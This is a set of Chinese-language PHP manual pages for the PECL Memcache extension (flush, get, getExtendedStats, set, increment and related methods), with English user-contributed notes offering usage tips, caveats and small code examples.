  • 清洗（删除）已经存储的所有的元素

Memcache::flush

(PECL memcache >= 1.0.0)

Memcache::flush — 清洗（删除）已经存储的所有的元素

说明

Memcache::flush(): bool

Memcache::flush()立即使所有已经存在的元素失效。方法Memcache::flush() 并不会真正的释放任何资源，而是仅仅标记所有元素都失效了，因此已经被使用的内存会被新的元素复写。 同样你也可以使用函数memcache_flush()完成相同功能。

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::flush()示例

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);

memcache_flush($memcache_obj);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);

$memcache_obj->flush();

?>

User Contributed Notes

Anonymous 27-Feb-2008 07:51
From the memcached mailing list:

"The flush has a one second granularity. The flush will expire all items up to the ones set within the same second."

It is imperative to wait at least one second after flush() command before further actions like repopulating the cache. Ohterwise new items < 1 second after flush() would be invalidatet instantaneous.

Example:
<?php
$memcache->flush();

$time = time()+1; //one second future
while(time() < $time) {
  //sleep
}
$memcache->set('key', 'value'); // repopulate the cache
?>
maarten d/ot manders a/t tilllate dotcom 12-Jul-2007 01:20
Please note that after flushing, you have to wait a certain amount of time (in my case < 1s) to be able to write to Memcached again. If you don't, Memcached::set() will return 1, although your data is in fact not saved.


从服务端检回一个元素

  • ? Memcache::flush
  • Memcache::getExtendedStats ?
  • PHP Manual
  • Memcache
  • 从服务端检回一个元素

Memcache::get

(PECL memcache >= 0.2.0)

Memcache::get — 从服务端检回一个元素

说明

Memcache::get(string $key, int &$flags = ?): string
Memcache::get(array $keys, array &$flags = ?): array

如果此时服务器上存在这样的 key，Memcache::get() 返回先前存储的元素数据。

你可以给Memcache::get()方法传递一个数组（多个key）来获取一个数组的元素值，返回的数组仅仅包含从 服务端查找到的key-value对。

参数

key

要获取值的key或key数组。

flags

如果给定这个参数（以引用方式传递），该参数会被写入一些key对应的信息。这些标记和Memcache::set()方法中的同名参数 意义相同。用int值的低位保留了pecl/memcache的内部用法（比如：用来说明压缩和序列化状态）。（译注：最后一位表明是否序列化，倒数第二位表明是否经过压缩， 比如：如果此值为1表示经过序列化，但未经过压缩，2表明压缩而未序列化，3表明压缩并且序列化，0表明未经过压缩和序列化，具体算法可查找linux文件权限算法相关资料）

返回值

返回与 key 关联的值或当 key 为 array 时找到的键值对数组。失败时返回 false，未找到 key 或 key 为空 array。

示例

Example #1 Memcache::get() 示例

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, 'some_key');

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get('some_key');

/*
你同样可以使用数组key作为参数，如果某个元素没有在服务端发现，结果数组中将不会包含这些key。
*/

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
$var = memcache_get($memcache_obj, Array('some_key', 'another_key'));

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
$var = $memcache_obj->get(Array('some_key', 'second_key'));

?>

User Contributed Notes

csongor at halmai dot hu 07-Oct-2014 04:27
Avoid reading too many values from memcahce. Each get() consumes some memory. You should cache the values instead, once they are read. Illustration of bad practice:

<?php   // reading from memcache leaks

    $m = new Memcache();
    $m -> connect( "localhost", "11211" );
    $m -> add("foo", "bar");

    for(;;) {  // this "endless" loop will finish because it eats up all the memory
        $res = $m -> get("foo");
        print memory_get_usage()."\n";  // this writes bigger and bigger numbers
    }
a dot karabiowski at gmx dot net 27-Jan-2014 09:19
Signature is not correct.

<?php
$memcache = new Memcache();
$memcache->connect('localhost', 11211);
class Test { public $property = "testvalue"; }
$test = new Test();
$memcache->set("asdf", $test);
var_dump($memcache->get("asdf"));
/* will return the object, not the string:
    class Test#3 (1) {
      public $property =>
      string(9) "testvalue"
    }
*/
?>
bijay dot rungta at gmail dot com 21-May-2013 06:31
Note that if you include spaces in your keys when saving Data and use array of keys to get the Data, The returned array will replace spaces with underscores in the keys.

<?php

$memcache = new Memcache;
$memcache->connect('localhost');
$memcache->set('my-key', 'value1', 0, 300);
$memcache->set('key with space', 'value 2', 0, 300);

print_r($memcache->get(array('my-key', 'key with space'))); // Array ( [my-key] => value1 [key_with_space] => value 2 )

?>

Memcache replaces spaces with underscores when saving, it does so when doing a get too, but when you do a get with single key (string) you don't notice this as it merely returns the value. But when you do a get for array of keys, you would expect the same keys in the returned array but it replaces spaces by underscores in them.
clover at fromru dot com 27-Apr-2013 12:14
$flags stays untouched if $key was not found on the server, it's helpfull to determine if bool(false) was stored:

<?php

$memcache = new Memcache();

$memcache->set('test', false); //
$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // int(256) - changed to int

$memcache->delete('test');

$flags = false;
var_dump($memcache->get('test', $flags)); // bool(false)
var_dump($flags); // bool(false) - untouched

?>
Michael Brenden 17-Feb-2011 02:46
Beware, if there's a backslash present in the key name then the results are unpredictable and random.

I was generating keys like this:

$mc_key = get_called_class(). $_COOKIE['crumb'];

This works fine when get_called_class() returns CLASSNAME.

But then I began using namespaces, and get_class_class() of course returned NAMESPACE\CLASSNAME

Well that backslash sends Memcache into quite the tizzy.
No errors, mind you, just insanity.
janis at unrepublic dot com 22-Mar-2010 02:00
For me it was the case that if such key doesn't exist, null is returned not false.
nate 14-Oct-2008 08:18
Be aware that when using the multi-key version, Memcache::get returns bool false if no servers are configured for the pool (and possibly if other errors occur as well while attempting to fetch). Also, Memcache class throws annoying warnings on every get/set/delete-type calls if you have no servers added to the pool.

The following snippet var_dump's bool false, not an empty array like you might expect.

<?php
$cache = new Memcache;

// no $cache->addServer calls (for example,
due to temporarily disabling use of cache)

// use @ symbol to ignore warning

var_dump(
    @$cache->get(array('one', 'two'))
);
?>
jakub dot lopuszanski at nasza-klasa dot pl 07-Jul-2008 07:39
If deserialization fails for some reason, that is when memcache server returned flag 1 set, but the value was not a correctly serialized PHP data,
then Memcache::get acts in a following way:

If it was called with a single key to retrieve, then a warning is raised, but since it was not actually a bug of a server, the warning says something confusing like "Memcached Server Error: null" and the function returns bool(false).

If it was called by passing an array (even with a single element in it), then the warning is not raised and the resulting array contains a value bool(false).

Since there are some buffer overrun bugs present in Memcached Server, which from time to time cause overwriting of [part of] data and therefore rendering it impossible to deserialize, make sure to check if the result of Memcache::get contains only string, or deserialized structure. If the result is bool,dobule or long, then something went wrong.


缓存服务器池中所有服务器统计信息

  • ? Memcache::get
  • Memcache::getServerStatus ?
  • PHP Manual
  • Memcache
  • 缓存服务器池中所有服务器统计信息

Memcache::getExtendedStats

(PECL memcache >= 2.0.0)

Memcache::getExtendedStats — 缓存服务器池中所有服务器统计信息

说明

Memcache::getExtendedStats(string $type = ?, int $slabid = ?, int $limit = 100): array

Memcache::getExtendedStats() 返回一个二维关联数据的服务器统计信息。数组的key由host:port方式 组成，无效的服务器返回的统计信息被设置为false，同样的，你可以使用函数 memcache_get_extended_stats()。

Note:

这个函数在 Memcache 2.0.0 版本加入。

Note:

(译注)获取 Memcache 内所有数据方法：首先使用 getExtendedStats('slabs') 获取到每个服务器上活动 slabs 分块的 id， 然后 使用 getExtendedStats('cachedump', $slabid, $limit) 来获取每个 slab 里面缓存的项，其中 $slabid 是 slab 分块 id， $limit 指 期望获取其中的多少条记录。

参数

type

期望抓取的统计信息类型，可以使用的值有 {reset, malloc, maps, cachedump, slabs, items, sizes}。 通过 memcached 协议指定这些附加参数是为了方便 memcache 开发者（检查其中的变动）。

slabid

用于与参数 type 联合从指定 slab 分块拷贝数据，cachedump 命令会完全占用服务器通常用于 比较严格的调试。

limit

用于和参数type联合来设置 cachedump 时从服务端获取的实体条数。

Warning

出于安全原因，cachedump stat 类型已经从 memcached 守护程序中移除。

返回值

返回一个二维关联数组的服务器统计信息或者在失败时返回 false。

示例

Example #1 Memcache::getExtendedStats() 示例

<?php
$memcache_obj = new Memcache;
$memcache_obj->addServer('memcache_host', 11211);
$memcache_obj->addServer('failed_host', 11211);

$stats = $memcache_obj->getExtendedStats();
print_r($stats);
?>

以上示例会输出：

Array
(
    [memcache_host:11211] => Array
        (
            [pid] => 3756
            [uptime] => 603011
            [time] => 1133810435
            [version] => 1.1.12
            [rusage_user] => 0.451931
            [rusage_system] => 0.634903
            [curr_items] => 2483
            [total_items] => 3079
            [bytes] => 2718136
            [curr_connections] => 2
            [total_connections] => 807
            [connection_structures] => 13
            [cmd_get] => 9748
            [cmd_set] => 3096
            [get_hits] => 5976
            [get_misses] => 3772
            [bytes_read] => 3448968
            [bytes_written] => 2318883
            [limit_maxbytes] => 33554432
        )

    [failed_host:11211] => false
)

参见

  • Memcache::getVersion() - 返回服务器版本信息
  • Memcache::getStats() - 获取服务器统计信息

User Contributed Notes

Anonymous 20-Jul-2018 12:16
the latest updated version:

function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           if (!is_int($slabId)) { continue; }
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    $list[] =  $k;
                }
           }
        }
    }
    return $list;
}
jcastromail at yahoo dot es 22-Feb-2017 08:39
" The cachedump stat type has been removed from the memcached daemon due to security reasons. "

To the date, the version 1.4.5_4_gaa7839e (windows 64bits) still supports the command cachedump that its highly important to returns the keys stored.
eithed at gmail 28-Jul-2016 03:14
In response to manmca dot 2280 at gmail dot com

This function makes the memcached read only, at least with the most recent version of PECL memcache (3.0.8) and most recent version of memcache (1.4.21), so if you're relying on this to overwrite / remove only certain keys you're in for a nasty suprise
oushunbao at 163 dot com 16-Jun-2011 02:57
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 * @modified: 16-Jun-2011
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                if (!is_array($arrVal)) continue;
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

copy from up, but fix a warning
i only add one line:  if (!is_array($arrVal)) continue;
manmca dot 2280 at gmail dot com 28-May-2010 04:35
Get lists of all the keys stored in memcache server....

<?php
/**
 * Function to get all memcache keys
 * @author Manish Patel
 * @Created:  28-May-2010
 */
function getMemcacheKeys() {

    $memcache = new Memcache;
    $memcache->connect('127.0.0.1', 11211) or die ("Could not connect to memcache server");

    $list = array();
    $allSlabs = $memcache->getExtendedStats('slabs');
    $items = $memcache->getExtendedStats('items');
    foreach($allSlabs as $server => $slabs) {
        foreach($slabs AS $slabId => $slabMeta) {
           $cdump = $memcache->getExtendedStats('cachedump',(int)$slabId);
            foreach($cdump AS $keys => $arrVal) {
                foreach($arrVal AS $k => $v) {
                    echo $k .'<br>';
                }
           }
        }
    }
}//EO getMemcacheKeys()
?>

Hope it helps....


用于获取一个服务器的在线/离线状态

  • ? Memcache::getExtendedStats
  • Memcache::getStats ?
  • PHP Manual
  • Memcache
  • 用于获取一个服务器的在线/离线状态

Memcache::getServerStatus

(PECL memcache >= 2.1.0)

Memcache::getServerStatus — 用于获取一个服务器的在线/离线状态

说明

Memcache::getServerStatus(string $host, int $port = 11211): int

Memcache::getServerStatus() 返回一个服务器的在线/离线状态，你也同样可以使用 函数 memcache_get_server_status()。

Note:

这个函数在 memcache 2.1.0 版本加入。

参数

host

主机监听地址。

port

主机监听端口，默认 11211.

返回值

返回一个服务器的状态，0 表示服务器离线，非 0 表示在线。

示例

Example #1 Memcache::getServerStatus() 示例

<?php

/* OO API */
$memcache = new Memcache;
$memcache->addServer('memcache_host', 11211);
echo $memcache->getServerStatus('memcache_host', 11211);

/* procedural API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_server_status($memcache, 'memcache_host', 11211);

?>

参见

  • Memcache::addServer() - 向连接池中添加一个memcache服务器
  • Memcache::setServerParams() - 运行时修改服务器参数和状态

User Contributed Notes

tom at all dash community dot de 06-Dec-2011 08:01
Note: the result of the function is cached. The cached is not automatically refreshed.

Call MemCache::getExtendedStats() to force a cache-update.
geoffrey dot hoffman at gmail dot com 21-Jul-2010 12:10
Beware... this method does not actually attempt to connect to the server and port you specify! It is not a health check to tell whether memcached is actually running or not!

It merely returns the server status from the pool, which defaults to TRUE when using addServer( ) with only required arguments.

Try it - stop your memcached and run the sample code above - it will output 1.


获取服务器统计信息

  • ? Memcache::getServerStatus
  • Memcache::getVersion ?
  • PHP Manual
  • Memcache
  • 获取服务器统计信息

Memcache::getStats

(PECL memcache >= 0.2.0)

Memcache::getStats — 获取服务器统计信息

说明

Memcache::getStats(string $type = ?, int $slabid = ?, int $limit = 100): array|false

Memcache::getStats()返回一个关联数据的服务器统计信息。数组key是统计信息名， 值就是统计信息的值。同样你可以使用函数memcache_get_stats()。

参数

type

期望抓取的统计信息类型，可以使用的值有{reset, malloc, maps, cachedump, slabs, items, sizes}。 通过memcached协议指定这些附加参数是为了方便memcache开发者(检查其中的变动)。

slabid

用于与参数type联合从指定slab分块拷贝数据，cachedump命令会完全占用服务器通常用于 比较严格的调试。

limit

用于和参数type联合来设置cachedump时从服务端获取的实体条数。

返回值

返回关联数组表示的服务器统计信息 或者在失败时返回 false

参见

  • Memcache::getVersion() - 返回服务器版本信息
  • Memcache::getExtendedStats() - 缓存服务器池中所有服务器统计信息

User Contributed Notes

niktriant89 at gmail dot com 01-Nov-2023 06:16
Official up to date Memcached explanation of stats command output on the github page:

https://github.com/memcached/memcached/blob/master/doc/protocol.txt

Please check you current version
Amiangshu S. Bosu 16-Mar-2009 03:58
Here is a memcache stats analyzer method that can be used to print memcache stats in a nice informative tabular format.

<?php

function printDetails($status){

echo "<table border='1'>";

        echo "<tr><td>Memcache Server version:</td><td> ".$status ["version"]."</td></tr>";
        echo "<tr><td>Process id of this server process </td><td>".$status ["pid"]."</td></tr>";
        echo "<tr><td>Number of seconds this server has been running </td><td>".$status ["uptime"]."</td></tr>";
        echo "<tr><td>Accumulated user time for this process </td><td>".$status ["rusage_user"]." seconds</td></tr>";
        echo "<tr><td>Accumulated system time for this process </td><td>".$status ["rusage_system"]." seconds</td></tr>";
        echo "<tr><td>Total number of items stored by this server ever since it started </td><td>".$status ["total_items"]."</td></tr>";
        echo "<tr><td>Number of open connections </td><td>".$status ["curr_connections"]."</td></tr>";
        echo "<tr><td>Total number of connections opened since the server started running </td><td>".$status ["total_connections"]."</td></tr>";
        echo "<tr><td>Number of connection structures allocated by the server </td><td>".$status ["connection_structures"]."</td></tr>";
        echo "<tr><td>Cumulative number of retrieval requests </td><td>".$status ["cmd_get"]."</td></tr>";
        echo "<tr><td> Cumulative number of storage requests </td><td>".$status ["cmd_set"]."</td></tr>";

        $percCacheHit=((real)$status ["get_hits"]/ (real)$status ["cmd_get"] *100);
        $percCacheHit=round($percCacheHit,3);
        $percCacheMiss=100-$percCacheHit;

        echo "<tr><td>Number of keys that have been requested and found present </td><td>".$status ["get_hits"]." ($percCacheHit%)</td></tr>";
        echo "<tr><td>Number of items that have been requested and not found </td><td>".$status ["get_misses"]."($percCacheMiss%)</td></tr>";

        $MBRead= (real)$status["bytes_read"]/(1024*1024);

        echo "<tr><td>Total number of bytes read by this server from network </td><td>".$MBRead." Mega Bytes</td></tr>";
        $MBWrite=(real) $status["bytes_written"]/(1024*1024) ;
        echo "<tr><td>Total number of bytes sent by this server to network </td><td>".$MBWrite." Mega Bytes</td></tr>";
        $MBSize=(real) $status["limit_maxbytes"]/(1024*1024) ;
        echo "<tr><td>Number of bytes this server is allowed to use for storage.</td><td>".$MBSize." Mega Bytes</td></tr>";
        echo "<tr><td>Number of valid items removed from cache to free memory for new items.</td><td>".$status ["evictions"]."</td></tr>";

echo "</table>";

    }

?>

Sample usage:
<?php

  $memcache_obj = new Memcache;
  $memcache_obj->addServer('memcache_host', 11211);
   printDetails($memcache_obj->getStats());
?>
24-Oct-2006 07:09
The stats output from this function and what is output from the getExtendedStats() are identical except that getExtendedStats() provides information for all servers used.
mikael at synd dot info 18-Sep-2006 12:22
pid                        Process id of this server process
uptime                    Number of seconds this server has been running
time                    Current UNIX time according to the server
version                    Version string of this server
rusage_user                Accumulated user time for this process
rusage_system            Accumulated system time for this process
curr_items                Current number of items stored by the server
total_items                Total number of items stored by this server ever since it started
bytes                    Current number of bytes used by this server to store items
curr_connections        Number of open connections
total_connections        Total number of connections opened since the server started running
connection_structures    Number of connection structures allocated by the server
cmd_get                    Cumulative number of retrieval requests
cmd_set                    Cumulative number of storage requests
get_hits                Number of keys that have been requested and found present
get_misses                Number of items that have been requested and not found
bytes_read                Total number of bytes read by this server from network
bytes_written            Total number of bytes sent by this server to network
limit_maxbytes            Number of bytes this server is allowed to use for storage.


返回服务器版本信息

  • ? Memcache::getStats
  • Memcache::increment ?
  • PHP Manual
  • Memcache
  • 返回服务器版本信息

Memcache::getVersion

(PECL memcache >= 0.2.0)

Memcache::getVersion — 返回服务器版本信息

说明

Memcache::getVersion(): string|false

Memcache::getVersion() 返回一个字符串表示的服务端版本号。 同样你也可以使用函数 memcache_get_version()。

参数

此函数没有参数。

返回值

返回服务端版本号 或者在失败时返回 false

示例

Example #1 Memcache::getVersion() 示例

<?php

/* OO API */
$memcache = new Memcache;
$memcache->connect('memcache_host', 11211);
echo $memcache->getVersion();

/* procedural API */
$memcache = memcache_connect('memcache_host', 11211);
echo memcache_get_version($memcache);

?>

参见

  • Memcache::getExtendedStats() - 缓存服务器池中所有服务器统计信息
  • Memcache::getStats() - 获取服务器统计信息

User Contributed Notes

b dot willemsen8 at gmail dot com 26-Aug-2014 01:16
I also use this method to verify that Memcache is properly configured on the server since it returns false if there is something wrong. So you can do something like this:

<?php
$memcache = new Memcache;

if ($memcache->getVersion() === false) {
    throw new Exception('Please, verify the Memcache configuration');
}


增加一个元素的值

  • ? Memcache::getVersion
  • Memcache::pconnect ?
  • PHP Manual
  • Memcache
  • 增加一个元素的值

Memcache::increment

(PECL memcache >= 0.2.0)

Memcache::increment — 增加一个元素的值

说明

Memcache::increment(string $key, int $value = 1): int|false

Memcache::increment() 将指定元素的值增加 value。如果指定的 key 对应的元素不是数值类型并且不能被转换为数值，会将此值修改为 value。 Memcache::increment() 不会在 key 对应元素不存在时创建元素。

Note:

不要在经过压缩存储的元素上使用 Memcache::increment()，因为这样作会导致后续对 Memcache::get() 的调用失败。

同样你也可以使用函数 memcache_increment()。

参数

key

将要增加值的元素的 key。

value

参数 value 表明要将指定元素值增加多少。

返回值

成功时返回新的元素值 或者在失败时返回 false

示例

Example #1 Memcache::increment() 示例

<?php

/* procedural API */
$memcache_obj = memcache_connect('memcache_host', 11211);
/* increment counter by 2 */
$current_value = memcache_increment($memcache_obj, 'counter', 2);

/* OO API */
$memcache_obj = new Memcache;
$memcache_obj->connect('memcache_host', 11211);
/* increment counter by 3 */
$current_value = $memcache_obj->increment('counter', 3);

?>

参见

  • Memcache::decrement() - 减小元素的值
  • Memcache::replace() - 替换已经存在的元素的值

User Contributed Notes

perroazul64 at gmail dot com 07-Jun-2011 10:46
When the key doesn't exist it may return either bool(false) or int(0) (I get different return values on different servers), so be careful if you check for something like ($memcache->increment($key) === false).
ian at blip dot fm 30-Jun-2009 04:28
Be careful to use Memcache::decrement() and never Memcache::increment() with a negative value.

The check that prevents Memcache::decrement() from going negative is not in place with Memcache::increment(), so you can end up with a garbage integer on the order of 18 quintillion stored in place of the expected value.
jay dot paroline at escapemg dot com 13-May-2009 06:34
Instead of checking the value before incrementing, you can simply ADD it instead before incrementing each time. If it's already there, your ADD is ignored, and if it's not there, it's set.

If you add($memcacheKey, 0) and then increment($memcacheKey, 1) in that order, you avoid all possible race conditions. If two threads are running this code concurrently, you will always end up with your value being 2 no matter which order the threads execute in.
Anonymous 13-May-2009 06:16
Please note:
If the key does not exist, memcache does NOT return false (as you might expect) but 0.
You won't get any hint that the key did not exist and still does not exist and that nothing was incremented.
15-Jun-2005 12:54
if no variable exists, even if you specify an increment value, the result will be null.

if you're using this for a mutex, chk if its null, and if so, then ADD the variable.


打开一个到服务器的持久化连接

  • ? Memcache::increment
  • Memcache::replace ?
  • PHP Manual
  • Memcache
  • 打开一个到服务器的持久化连接

Memcache::pconnect

(PECL memcache >= 0.4.0)

Memcache::pconnect — 打开一个到服务器的持久化连接

说明

Memcache::pconnect(string $host, int $port = ?, int $timeout = ?): mixed

Memcache::pconnect() 和
Memcache::connect() 非常类似，不同点在于这里建立的连接是持久化的。
这个连接不会在脚本执行结束后或者 Memcache::close() 被调用后关闭。
同样你也可以使用函数 memcache_pconnect()。

参数

host

服务端监听的主机地址。这个参数还可以指定为其他传输方式比如 unix:///path/to/memcached.sock 来使用 Unix 域套接字，使用这种方式 port 参数必须设置为 0。

port

服务端监听的端口号。使用 Unix 域套接字的时候需要将这个参数设置为 0。

timeout

连接持续（超时）时间，单位秒。默认值 1 秒，修改此值之前请三思，过长的连接持续时间可能会导致失去所有的缓存优势。

返回值

返回一个 Memcache 对象 或者在失败时返回 false.

示例

Example #1 Memcache::pconnect() 示例

<?php

/* procedural API */
$memcache_obj = memcache_pconnect('memcache_host', 11211);

/* OO API */

$memcache_obj = new Memcache;
$memcache_obj->pconnect('memcache_host', 11211);

?>

参见

  • Memcache::connect() - 打开一个memcached服务端连接

User Contributed Notes

john.royer [at] gmail.com 15-Oct-2018 03:47
pconnect() put error message to stderr if connection failed. This behavior may cause unexpected output.
use '@' infrom of `pconnect()` to avoid it.

<?php

$cache = new Memcache();
$stat = @$cache->pconnect('localhost', 11211);

if (false === $stat) {
    // connect failed
}
// connect success
office at cws-trummer dot biz 20-Mar-2009 02:17
use persistent connection if you have problems with system process 0 WAIT_TIME


替换已经存在的元素的值

  • ? Memcache::pconnect
  • Memcache::set ?
  • PHP Manual
  • Memcache
  • 替换已经存在的元素的值

Memcache::replace

(PECL memcache >= 0.2.0)

Memcache::replace — 替换已经存在的元素的值

说明

Memcache::replace(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool

Memcache::replace() 通过 key 来查找元素并替换其值。当 key
对应的元素不存在时，Memcache::replace() 返回 false。其他方面 Memcache::replace()
的行为和 Memcache::set() 一样。
同样你也可以使用函数 memcache_replace()。

参数

key

期望替换值的元素的 key。

var

将要存储的新的值，字符串和数值直接存储，其他类型序列化后存储。

flag

使用 MEMCACHE_COMPRESSED 指定对值进行压缩（使用 zlib）。

expire

当前写入缓存的数据的失效时间。如果此值设置为0表明此数据永不过期。你可以设置一个 UNIX 时间戳或 以秒为单位的整数（从当前算起的时间差）来说明此数据的过期时间，但是在后一种设置方式中，不能超过 2592000 秒（30天）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::replace() 示例

<?php

$memcache_obj = memcache_connect('memcache_host', 11211);

/* procedural API */
memcache_replace($memcache_obj, "test_key", "some variable", false, 30);

/* OO API */
$memcache_obj->replace("test_key", "some variable", false, 30);

?>

参见

  • Memcache::set() - 存储数据到服务器
  • Memcache::add() - 增加一个条目到缓存服务器

User Contributed Notes

adam.pippin [AT] ohmedia.ca 20-Sep-2010 03:57
This page mentions that replace should be used rather than set, but gives no reason. Best information I could find was a comment by 'argyleblanket' on the set page. (http://www.php.net/manual/en/memcache.set.php#84032)

"Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server. "


存储数据到服务器

  • ? Memcache::replace
  • Memcache::setCompressThreshold ?
  • PHP Manual
  • Memcache
  • 存储数据到服务器

Memcache::set

(PECL memcache >= 0.2.0)

Memcache::set — 存储数据到服务器

说明

Memcache::set(
string $key,
mixed $var,
int $flag = ?,
int $expire = ?
): bool

Memcache::set() 向 key 存储一个元素值为 var。参数 expire 是以秒为单位的失效时间， 如果设置为0表明该元素永不过期（但是它可能会因为为了给其他项分配空间而被删除）。如果你希望存储的元素 经过压缩（使用 zlib），你可以设置 flag 的值为 MEMCACHE_COMPRESSED。

Note:

谨记：资源类型变量（比如文件或连接）不能被存储在缓存中，因为它们在序列化状态不能被完整描述。

同样你也可以使用函数 memcache_set()。

参数

key

要设置值的 key。

var

要存储的值，字符串和数值直接存储，其他类型序列化后存储。

flag

使用 MEMCACHE_COMPRESSED 指定对值进行压缩（使用 zlib）。

expire

当前写入缓存的数据的失效时间。如果此值设置为0表明此数据永不过期。你可以设置一个 UNIX 时间戳或 以秒为单位的整数（从当前算起的时间差）来说明此数据的过期时间，但是在后一种设置方式中，不能超过 2592000 秒（30天）。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Memcache::set() 示例

<?php
/* procedural API */

/* connect to memcached server */
$memcache_obj = memcache_connect('memcache_host', 11211);

/*
设置 'var_key' 对应存储的值
flag 参数使用 0,值没有经过压缩
失效时间为 30 秒
*/
memcache_set($memcache_obj, 'var_key', 'some variable', 0, 30);

echo memcache_get($memcache_obj, 'var_key');

?>

Example #2 Memcache::set() 示例

<?php
/* OO API */

$memcache_obj = new Memcache;

/* connect to memcached server */
$memcache_obj->connect('memcache_host', 11211);

/*
设置'var_key'对应值，使用即时压缩
失效时间为50秒
*/
$memcache_obj->set('var_key', 'some really big variable', MEMCACHE_COMPRESSED, 50);

echo $memcache_obj->get('var_key');

?>

参见

  • Memcache::add() - 增加一个条目到缓存服务器
  • Memcache::replace() - 替换已经存在的元素的值

User Contributed Notes

winmutt 01-Jul-2019 09:19
The note here about replace and set is no longer valid in my testing. You can call set as many times as you want on the same key and reliably get the last written value. I tested this with 3 memcache nodes over 10000 keys.
jcastromail at yahoo dot es 27-Aug-2017 12:25
If you get the next message

"The lowest two bytes of the flags array is reserved for pecl/memcache internal use"

Then try the next operations:
a) try to use Memcached instead of Memcache.
b) switch the compressed value
  $memcache->set($key,$value,MEMCACHE_COMPRESSED)
  or
  $memcache->set($key,$value,0)
aamthor at advertzoom dot de 29-Aug-2012 08:27
to put some things right:

max expiration time: RTFM, it's written here.

max amount of data: almost unlimited as long as your server can bear it.

speed and pace:
well, thats another thing. We had a couple of data records which for application reasons must be kept in memory. Since the bunch of data is big and doesn't change very often, we considered caching it to memcache instead of retrieving it from the DB each and every time.

This isn't a general advice nor any quality statement, but we did a couple of tests with serialized arrays (50 MB), compressed and uncompressed and it turned out that in our particular scenario, memcache is much slower than the DB (mySql).

In general, one can not predict on the behavior of memcache in certain scenarios but always need to make some testing and benchmarking upfront before starting to deploy things to a live system.

Despite of the tests above, we are still using memcache for session caching instead of file system, since there are certain other things to consider and the amount of data is always small (few KB)
wbonde at yakabod dot com 21-Jan-2011 12:27
The max time for expiration (without having to worry about deletions when necessary as with 0 seconds) is 2,592,000 seconds (30 days).

Specifying an expiration value above that will return false, but will NOT throw in error so it is easy to miss.
duerra at nospam dot yahoo dot com 17-Nov-2010 04:04
If you're interested in using compression, please note that, at least for PHP version 5.3.2 and Memcache version 3.0.4, when retrieving a key who's value is a numeric or boolean type, PHP throws a notice of the following:

Message: MemcachePool::get(): Failed to uncompress data

The way around this is to test your variable type before setting or adding it to Memcache, or even cast it as a string.

<?php
$key = 'mc_key';
$value = 12345;
$compress = is_bool($value) || is_int($value) || is_float($value) ? false : MEMCACHE_COMPRESSED;

$mc= new Memcache;
$mc->connect('localhost', 11211);
$mc->set($key, $value, $compress);

echo $mc->get($key);

//Alternative is to cast the variable
$value = is_scalar($value) ? (string)$value : $value;
$mc->set($key, $value, MEMCACHE_COMPRESSED);
?>
effeesse gmail com 23-Apr-2010 01:06
if you want to cache an image created on-the-fly you can do:

<?php
ob_start();
imagepng($image);
$memcache->set("my_image", ob_get_contents(), false, $cache_time);
ob_end_clean();
?>

then you could access the chached image as simple variable:
<?php $my_image = $memcache->get("my_image"); ?>

so, in short, you have to buffer the output
argyleblanket 24-Jun-2008 05:12
Using set more than once for the same key seems to have unexpected results - it does not behave as a "replace," but instead seems to "set" more than one value for the same key.  "get" may return any of the values.

This was tested on a multiple-server setup - behaviour may be different if you only have one server.

Remedy is to use a combination of replace and set:

<?php
$result = $memcache->replace( $key, $var );
if( $result == false )
{
    $result = $memcache->set( $key, $var );
}
?>
jakub dot lopuszanski at nasza-klasa dot pl 14-Apr-2008 07:45
The lowest byte of the int is reserved for pecl/memcache internal usage (e.g. to indicate compression and serialization status).
Stephen from veedow.com 09-Apr-2008 07:07
I ran into problems using the MEMCACHE_COMPRESSED flag when storing small amounts of data, such as an integers.

For expample.

<?php
Memcache::set('integer', 123456, MEMCACHE_COMPRESSED);
//would return true

Memcache::get('integer');
//would return false
?>

This problem went away when I removed the MEMCACHE_COMPRESSED flag for values that were small.
Sc00bz 19-Jul-2007 01:20
This is just two minor things about memcache that might not be perfectly clear, the limits on key and data sizes and what happen to flags in the memcache protocol.

* There is a max key size of 250 anything bigger gets truncated. There is also a (1MB - 42 bytes) limit on the data.

* In the memcache protocol there is a 16bit, 32bit in newer version, flag that you can set to whatever you want because memcache doesn't do anything with the flags. The php api doesn't let you get the flags because php uses the flags for php's own use such as "MEMCACHE_COMPRESSED" and I decided to test if it was doing something because it wasn't part of the memcache protocol.

<?php
$memcache = new Memcache();
